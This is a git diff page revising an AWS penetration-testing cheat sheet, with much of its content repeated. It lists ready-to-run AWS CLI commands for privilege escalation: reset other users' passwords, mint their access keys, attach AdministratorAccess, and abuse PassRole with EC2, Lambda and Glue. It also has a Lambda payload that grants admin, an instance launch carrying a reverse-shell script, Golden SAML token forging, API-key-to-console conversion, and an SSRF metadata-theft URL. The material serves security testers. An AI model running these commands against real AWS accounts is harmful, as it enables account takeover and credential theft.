AWS - Pages v0.2
Swissky
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# Cloud - AWS
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## AWS - Shadow Admin
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### Admin equivalent permission
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- AdministratorAccess
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```powershell
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"Action": "*"
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"Resource": "*"
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```
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- **ec2:AssociateIamInstanceProfile** : attach an IAM instance profile to an EC2 instance
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```powershell
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aws ec2 associate-iam-instance-profile --iam-instance-profile Name=admin-role --instance-id i-0123456789
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```
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- **iam:CreateAccessKey** : create a new access key to another IAM admin account
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```powershell
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aws iam create-access-key –user-name target_user
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```
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- **iam:CreateLoginProfile** : add a new password-based login profile, set a new password for an entity and impersonate it
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```powershell
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$ aws iam create-login-profile –user-name target_user –password '|[3rxYGGl3@`~68)O{,-$1B”zKejZZ.X1;6T}<XT5isoE=LB2L^G@{uK>f;/CQQeXSo>}th)KZ7v?\\hq.#@dh49″=fT;|,lyTKOLG7J[qH$LV5U<9`O~Z”,jJ[iT-D^(' –no-password-reset-required
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```
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- **iam:UpdateLoginProfile** : reset other IAM users’ login passwords.
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```powershell
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$ aws iam update-login-profile –user-name target_user –password '|[3rxYGGl3@`~68)O{,-$1B”zKejZZ.X1;6T}<XT5isoE=LB2L^G@{uK>f;/CQQeXSo>}th)KZ7v?\\hq.#@dh49″=fT;|,lyTKOLG7J[qH$LV5U<9`O~Z”,jJ[iT-D^(' –no-password-reset-required
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```
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- **iam:AttachUserPolicy**, **iam:AttachGroupPolicy** or **iam:AttachRolePolicy** : attach existing admin policy to any other entity he currently possesses
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```powershell
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$ aws iam attach-user-policy –user-name my_username –policy-arn arn:aws:iam::aws:policy/AdministratorAccess
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$ aws iam attach-user-policy –user-name my_username –policy-arn arn:aws:iam::aws:policy/AdministratorAccess
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$ aws iam attach-role-policy –role-name role_i_can_assume –policy-arn arn:aws:iam::aws:policy/AdministratorAccess
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```
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- **iam:PutUserPolicy**, **iam:PutGroupPolicy** or **iam:PutRolePolicy** : added inline policy will allow the attacker to grant additional privileges to previously compromised entities.
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```powershell
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$ aws iam put-user-policy –user-name my_username –policy-name my_inline_policy –policy-document file://path/to/administrator/policy.json
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```
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- **iam:CreatePolicy** : add a stealthy admin policy
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- **iam:AddUserToGroup** : add into the admin group of the organization.
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```powershell
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$ aws iam add-user-to-group –group-name target_group –user-name my_username
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```
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- **iam:UpdateAssumeRolePolicy** + **sts:AssumeRole** : change the assuming permissions of a privileged role and then assume it with a non-privileged account.
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```powershell
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$ aws iam update-assume-role-policy –role-name role_i_can_assume –policy-document file://path/to/assume/role/policy.json
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```
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- **iam:CreatePolicyVersion** & **iam:SetDefaultPolicyVersion** : change customer-managed policies and change a non-privileged entity to be a privileged one.
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```powershell
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$ aws iam create-policy-version –policy-arn target_policy_arn –policy-document file://path/to/administrator/policy.json –set-as-default
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$ aws iam set-default-policy-version –policy-arn target_policy_arn –version-id v2
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```
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- **lambda:UpdateFunctionCode** : give an attacker access to the privileges associated with the Lambda service role that is attached to that function.
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```powershell
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$ aws lambda update-function-code –function-name target_function –zip-file fileb://my/lambda/code/zipped.zip
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```
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- **glue:UpdateDevEndpoint** : give an attacker access to the privileges associated with the role attached to the specific Glue development endpoint.
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```powershell
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$ aws glue –endpoint-name target_endpoint –public-key file://path/to/my/public/ssh/key.pub
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```
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- **iam:PassRole** + **ec2:CreateInstanceProfile**/**ec2:AddRoleToInstanceProfile** : an attacker could create a new privileged instance profile and attach it to a compromised EC2 instance that he possesses.
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- **iam:PassRole** + **ec2:RunInstance** : give an attacker access to the set of permissions that the instance profile/role has, which again could range from no privilege escalation to full administrator access of the AWS account.
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```powershell
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# add ssh key
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$ aws ec2 run-instances –image-id ami-a4dc46db –instance-type t2.micro –iam-instance-profile Name=iam-full-access-ip –key-name my_ssh_key –security-group-ids sg-123456
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# execute a reverse shell
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$ aws ec2 run-instances –image-id ami-a4dc46db –instance-type t2.micro –iam-instance-profile Name=iam-full-access-ip –user-data file://script/with/reverse/shell.sh
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```
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- **iam:PassRole** + **lambda:CreateFunction** + **lambda:InvokeFunction** : give a user access to the privileges associated with any Lambda service role that exists in the account.
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```powershell
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$ aws lambda create-function –function-name my_function –runtime python3.6 –role arn_of_lambda_role –handler lambda_function.lambda_handler –code file://my/python/code.py
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$ aws lambda invoke –function-name my_function output.txt
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```
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Example of code.py
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```python
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import boto3
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def lambda_handler(event, context):
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client = boto3.client('iam')
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response = client.attach_user_policy(
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UserName='my_username',
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PolicyArn="arn:aws:iam::aws:policy/AdministratorAccess"
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)
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return response
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```
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* **iam:PassRole** + **glue:CreateDevEndpoint** : access to the privileges associated with any Glue service role that exists in the account.
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```powershell
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$ aws glue create-dev-endpoint –endpoint-name my_dev_endpoint –role-arn arn_of_glue_service_role –public-key file://path/to/my/public/ssh/key.pub
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```
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## AWS - Gaining AWS Console Access via API Keys
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A utility to convert your AWS CLI credentials into AWS console access.
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```powershell
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$> git clone https://github.com/NetSPI/aws_consoler
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$> aws_consoler -v -a AKIA[REDACTED] -s [REDACTED]
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2020-03-13 19:44:57,800 [aws_consoler.cli] INFO: Validating arguments...
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2020-03-13 19:44:57,801 [aws_consoler.cli] INFO: Calling logic.
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2020-03-13 19:44:57,820 [aws_consoler.logic] INFO: Boto3 session established.
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2020-03-13 19:44:58,193 [aws_consoler.logic] WARNING: Creds still permanent, creating federated session.
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2020-03-13 19:44:58,698 [aws_consoler.logic] INFO: New federated session established.
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2020-03-13 19:44:59,153 [aws_consoler.logic] INFO: Session valid, attempting to federate as arn:aws:sts::123456789012:federated-user/aws_consoler.
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2020-03-13 19:44:59,668 [aws_consoler.logic] INFO: URL generated!
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https://signin.aws.amazon.com/federation?Action=login&Issuer=consoler.local&Destination=https%3A%2F%2Fconsole.aws.amazon.com%2Fconsole%2Fhome%3Fregion%3Dus-east-1&SigninToken=[REDACTED
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```
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## AWS - Golden SAML Attack
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https://www.youtube.com/watch?v=5dj4vOqqGZw
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https://www.cyberark.com/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-cloud-apps/
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> Using the extracted information, the tool will generate a forged SAML token as an arbitrary user that can then be used to authenticate to Office 365 without knowledge of that user's password. This attack also bypasses any MFA requirements.
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Requirement:
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* Token-signing private key (export from personal store using Mimikatz)
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* IdP public certificate
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* IdP name
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* Role name (role to assume)
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```powershell
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$ python -m pip install boto3 botocore defusedxml enum python_dateutil lxml signxml
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$ python .\shimit.py -idp http://adfs.lab.local/adfs/services/trust -pk key_file -c cert_file
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-u domain\admin -n admin@domain.com -r ADFS-admin -r ADFS-monitor -id 123456789012
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```
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## AWSome Pentesting Cheatsheet
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* Created by pop3ret
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## Searching for open buckets
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```
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https://buckets.grayhatwarfare.com/
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```
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## ARN
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A number to identify an object in AWS
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@ -1767,14 +1620,5 @@ aws ec2 describe-instances --filters "Name=subnet-id,Values=ID"
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## References
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* [Cloud Shadow Admin Threat 10 Permissions Protect - CyberArk](https://www.cyberark.com/threat-research-blog/cloud-shadow-admin-threat-10-permissions-protect/)
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* [My arsenal of AWS Security tools - toniblyx](https://github.com/toniblyx/my-arsenal-of-aws-security-tools)
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* [AWS Privilege Escalation method mitigation - RhinoSecurityLabs](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/)
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* [AWS CLI Cheatsheet - apolloclark](https://gist.github.com/apolloclark/b3f60c1f68aa972d324b)
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* [Pacu Open source AWS Exploitation framework - RhinoSecurityLabs](https://rhinosecuritylabs.com/aws/pacu-open-source-aws-exploitation-framework/)
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* [PACU Spencer Gietzen - 30 juil. 2018](https://www.youtube.com/watch?v=XfetW1Vqybw&feature=youtu.be&list=PLBID4NiuWSmfdWCmYGDQtlPABFHN7HyD5)
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* [Privilege escalation in the Cloud: From SSRF to Global Account Administrator - Maxime Leblanc - Sep 1, 2018](https://medium.com/poka-techblog/privilege-escalation-in-the-cloud-from-ssrf-to-global-account-administrator-fd943cf5a2f6)
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* [AWS - Cheatsheet - @Magnussen](https://www.magnussen.funcmylife.fr/article_35)
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* [Getting shell and data access in AWS by chaining vulnerabilities - Riyaz Walikar - Aug 29, 2019 ](https://blog.appsecco.com/getting-shell-and-data-access-in-aws-by-chaining-vulnerabilities-7630fa57c7ed)
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* [Getting started with Version 2 of AWS EC2 Instance Metadata service (IMDSv2) - Sunesh Govindaraj - Nov 25, 2019](https://blog.appsecco.com/getting-started-with-version-2-of-aws-ec2-instance-metadata-service-imdsv2-2ad03a1f3650)
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* [Gaining AWS Console Access via API Keys - Ian Williams - March 18th, 2020](https://blog.netspi.com/gaining-aws-console-access-via-api-keys/)
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* Tokyo - http://s3-ap-northeast-1.amazonaws.com
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## Gaining AWS Console Access via API Keys
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A utility to convert your AWS CLI credentials into AWS console access.
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* Using [NetSPI/aws_consoler](https://github.com/NetSPI/aws_consoler)
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```powershell
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$> aws_consoler -v -a AKIA[REDACTED] -s [REDACTED]
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2020-03-13 19:44:57,800 [aws_consoler.cli] INFO: Validating arguments...
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2020-03-13 19:44:57,801 [aws_consoler.cli] INFO: Calling logic.
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2020-03-13 19:44:57,820 [aws_consoler.logic] INFO: Boto3 session established.
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2020-03-13 19:44:58,193 [aws_consoler.logic] WARNING: Creds still permanent, creating federated session.
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2020-03-13 19:44:58,698 [aws_consoler.logic] INFO: New federated session established.
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2020-03-13 19:44:59,153 [aws_consoler.logic] INFO: Session valid, attempting to federate as arn:aws:sts::123456789012:federated-user/aws_consoler.
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2020-03-13 19:44:59,668 [aws_consoler.logic] INFO: URL generated!
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https://signin.aws.amazon.com/federation?Action=login&Issuer=consoler.local&Destination=https%3A%2F%2Fconsole.aws.amazon.com%2Fconsole%2Fhome%3Fregion%3Dus-east-1&SigninToken=[REDACTED]
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```
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## References
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* [A short note on AWS KEY ID - Tal Be'ery - Oct 27, 2023](https://medium.com/@TalBeerySec/a-short-note-on-aws-key-id-f88cc4317489)
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* [Gaining AWS Console Access via API Keys - Ian Williams - March 18th, 2020](https://blog.netspi.com/gaining-aws-console-access-via-api-keys/)
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# AWS - Cognito
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# AWS - Service - Cognito
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* [Cognito Scanner](https://github.com/padok-team/cognito-scanner) - A CLI tool for executing attacks on cognito such as *Unwanted account creation*, *Account Oracle* and *Identity Pool escalation*.
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```bash
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# AWS - DynamoDB
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# AWS - Service - DynamoDB
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> Amazon DynamoDB is a key-value and document database that delivers single-digit millisecond performance at any scale. It's a fully managed, multi-region, multi-active, durable database with built-in security, backup and restore, and in-memory caching for internet-scale applications. DynamoDB can handle more than 10 trillion requests per day and can support peaks of more than 20 million requests per second.
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# AWS - EC2
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# AWS - Service - EC2
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* [dufflebag](https://labs.bishopfox.com/dufflebag) - Find secrets that are accidentally exposed via Amazon EBS's "public" mode
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## References
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* [An introduction to penetration testing AWS - Akimbocore - HollyGraceful - 06 August 2021](https://akimbocore.com/article/introduction-to-penetration-testing-aws/)
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* [AWS CLI Cheatsheet - apolloclark](https://gist.github.com/apolloclark/b3f60c1f68aa972d324b)
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* [AWS - Cheatsheet - @Magnussen](https://www.magnussen.funcmylife.fr/article_35)
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* [Pacu Open source AWS Exploitation framework - RhinoSecurityLabs](https://rhinosecuritylabs.com/aws/pacu-open-source-aws-exploitation-framework/)
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* [PACU Spencer Gietzen - 30 juil. 2018](https://youtu.be/XfetW1Vqybw?list=PLBID4NiuWSmfdWCmYGDQtlPABFHN7HyD5)
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# AWS - Identity & Access Management
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## AWS - Shadow Admin
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### Admin equivalent permission
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- AdministratorAccess
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```powershell
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"Action": "*"
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"Resource": "*"
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```
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- **ec2:AssociateIamInstanceProfile** : attach an IAM instance profile to an EC2 instance
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```powershell
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aws ec2 associate-iam-instance-profile --iam-instance-profile Name=admin-role --instance-id i-0123456789
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```
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- **iam:CreateAccessKey** : create a new access key to another IAM admin account
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```powershell
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aws iam create-access-key –user-name target_user
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```
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- **iam:CreateLoginProfile** : add a new password-based login profile, set a new password for an entity and impersonate it
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```powershell
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$ aws iam create-login-profile –user-name target_user –password '|[3rxYGGl3@`~68)O{,-$1B”zKejZZ.X1;6T}<XT5isoE=LB2L^G@{uK>f;/CQQeXSo>}th)KZ7v?\\hq.#@dh49″=fT;|,lyTKOLG7J[qH$LV5U<9`O~Z”,jJ[iT-D^(' –no-password-reset-required
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```
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- **iam:UpdateLoginProfile** : reset other IAM users’ login passwords.
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```powershell
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$ aws iam update-login-profile –user-name target_user –password '|[3rxYGGl3@`~68)O{,-$1B”zKejZZ.X1;6T}<XT5isoE=LB2L^G@{uK>f;/CQQeXSo>}th)KZ7v?\\hq.#@dh49″=fT;|,lyTKOLG7J[qH$LV5U<9`O~Z”,jJ[iT-D^(' –no-password-reset-required
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```
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- **iam:AttachUserPolicy**, **iam:AttachGroupPolicy** or **iam:AttachRolePolicy** : attach existing admin policy to any other entity he currently possesses
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```powershell
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$ aws iam attach-user-policy –user-name my_username –policy-arn arn:aws:iam::aws:policy/AdministratorAccess
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$ aws iam attach-user-policy –user-name my_username –policy-arn arn:aws:iam::aws:policy/AdministratorAccess
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$ aws iam attach-role-policy –role-name role_i_can_assume –policy-arn arn:aws:iam::aws:policy/AdministratorAccess
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```
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- **iam:PutUserPolicy**, **iam:PutGroupPolicy** or **iam:PutRolePolicy** : added inline policy will allow the attacker to grant additional privileges to previously compromised entities.
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```powershell
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$ aws iam put-user-policy –user-name my_username –policy-name my_inline_policy –policy-document file://path/to/administrator/policy.json
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```
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- **iam:CreatePolicy** : add a stealthy admin policy
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- **iam:AddUserToGroup** : add into the admin group of the organization.
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```powershell
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$ aws iam add-user-to-group –group-name target_group –user-name my_username
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```
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- **iam:UpdateAssumeRolePolicy** + **sts:AssumeRole** : change the assuming permissions of a privileged role and then assume it with a non-privileged account.
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```powershell
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$ aws iam update-assume-role-policy –role-name role_i_can_assume –policy-document file://path/to/assume/role/policy.json
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```
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- **iam:CreatePolicyVersion** & **iam:SetDefaultPolicyVersion** : change customer-managed policies and change a non-privileged entity to be a privileged one.
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```powershell
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$ aws iam create-policy-version –policy-arn target_policy_arn –policy-document file://path/to/administrator/policy.json –set-as-default
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$ aws iam set-default-policy-version –policy-arn target_policy_arn –version-id v2
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```
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- **lambda:UpdateFunctionCode** : give an attacker access to the privileges associated with the Lambda service role that is attached to that function.
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```powershell
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$ aws lambda update-function-code –function-name target_function –zip-file fileb://my/lambda/code/zipped.zip
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```
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- **glue:UpdateDevEndpoint** : give an attacker access to the privileges associated with the role attached to the specific Glue development endpoint.
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```powershell
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$ aws glue –endpoint-name target_endpoint –public-key file://path/to/my/public/ssh/key.pub
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```
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- **iam:PassRole** + **ec2:CreateInstanceProfile**/**ec2:AddRoleToInstanceProfile** : an attacker could create a new privileged instance profile and attach it to a compromised EC2 instance that he possesses.
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- **iam:PassRole** + **ec2:RunInstance** : give an attacker access to the set of permissions that the instance profile/role has, which again could range from no privilege escalation to full administrator access of the AWS account.
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```powershell
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# add ssh key
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$ aws ec2 run-instances –image-id ami-a4dc46db –instance-type t2.micro –iam-instance-profile Name=iam-full-access-ip –key-name my_ssh_key –security-group-ids sg-123456
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# execute a reverse shell
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$ aws ec2 run-instances –image-id ami-a4dc46db –instance-type t2.micro –iam-instance-profile Name=iam-full-access-ip –user-data file://script/with/reverse/shell.sh
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```
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- **iam:PassRole** + **lambda:CreateFunction** + **lambda:InvokeFunction** : give a user access to the privileges associated with any Lambda service role that exists in the account.
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```powershell
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$ aws lambda create-function –function-name my_function –runtime python3.6 –role arn_of_lambda_role –handler lambda_function.lambda_handler –code file://my/python/code.py
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$ aws lambda invoke –function-name my_function output.txt
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```
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Example of code.py
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```python
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import boto3
|
||||
def lambda_handler(event, context):
|
||||
client = boto3.client('iam')
|
||||
response = client.attach_user_policy(
|
||||
UserName='my_username',
|
||||
PolicyArn="arn:aws:iam::aws:policy/AdministratorAccess"
|
||||
)
|
||||
return response
|
||||
```
|
||||
|
||||
* **iam:PassRole** + **glue:CreateDevEndpoint** : access to the privileges associated with any Glue service role that exists in the account.
|
||||
```powershell
|
||||
$ aws glue create-dev-endpoint –endpoint-name my_dev_endpoint –role-arn arn_of_glue_service_role –public-key file://path/to/my/public/ssh/key.pub
|
||||
```
|
||||
|
||||
|
||||
|
||||
## References
|
||||
|
||||
* [Cloud Shadow Admin Threat 10 Permissions Protect - CyberArk](https://www.cyberark.com/threat-research-blog/cloud-shadow-admin-threat-10-permissions-protect/)
|
||||
|
|
@ -1,4 +1,4 @@
|
|||
# AWS - Lambda
|
||||
# AWS - Service - Lambda
|
||||
|
||||
|
||||
## Extract function's code
|
||||
|
|
|
|||
|
|
@ -101,3 +101,6 @@ Example : https://awesomeapp.com/forward?target=http://169.254.169.254/latest/me
|
|||
|
||||
* [AWS API calls that return credentials - kmcquade](https://gist.github.com/kmcquade/33860a617e651104d243c324ddf7992a)
|
||||
* [Cloud security instance metadata - PumaScan - Eric Johnson - 09 Oct 2019](https://pumascan.com/resources/cloud-security-instance-metadata/)
|
||||
* [Getting started with Version 2 of AWS EC2 Instance Metadata service (IMDSv2) - Sunesh Govindaraj - Nov 25, 2019](https://blog.appsecco.com/getting-started-with-version-2-of-aws-ec2-instance-metadata-service-imdsv2-2ad03a1f3650)
|
||||
* [Privilege escalation in the Cloud: From SSRF to Global Account Administrator - Maxime Leblanc - Sep 1, 2018](https://medium.com/poka-techblog/privilege-escalation-in-the-cloud-from-ssrf-to-global-account-administrator-fd943cf5a2f6)
|
||||
* [Getting shell and data access in AWS by chaining vulnerabilities - Riyaz Walikar - Aug 29, 2019 ](https://blog.appsecco.com/getting-shell-and-data-access-in-aws-by-chaining-vulnerabilities-7630fa57c7ed)
|
||||
|
|
@ -1,4 +1,4 @@
|
|||
# AWS - S3 Buckets
|
||||
# AWS - Service - S3 Buckets
|
||||
|
||||
## Tools
|
||||
|
||||
|
|
@ -31,6 +31,8 @@
|
|||
$ python s3-objects-check.py -p whitebox-profile -e blackbox-profile
|
||||
```
|
||||
|
||||
* [grayhatwarfare/buckets](https://buckets.grayhatwarfare.com/) - Search Public Buckets
|
||||
|
||||
|
||||
##
|
||||
|
||||
|
|
|
|||
|
|
@ -1,4 +1,4 @@
|
|||
# AWS - SSM
|
||||
# AWS - Service - SSM
|
||||
|
||||
## Command execution
|
||||
|
||||
|
|
|
|||
Loading…
Reference in New Issue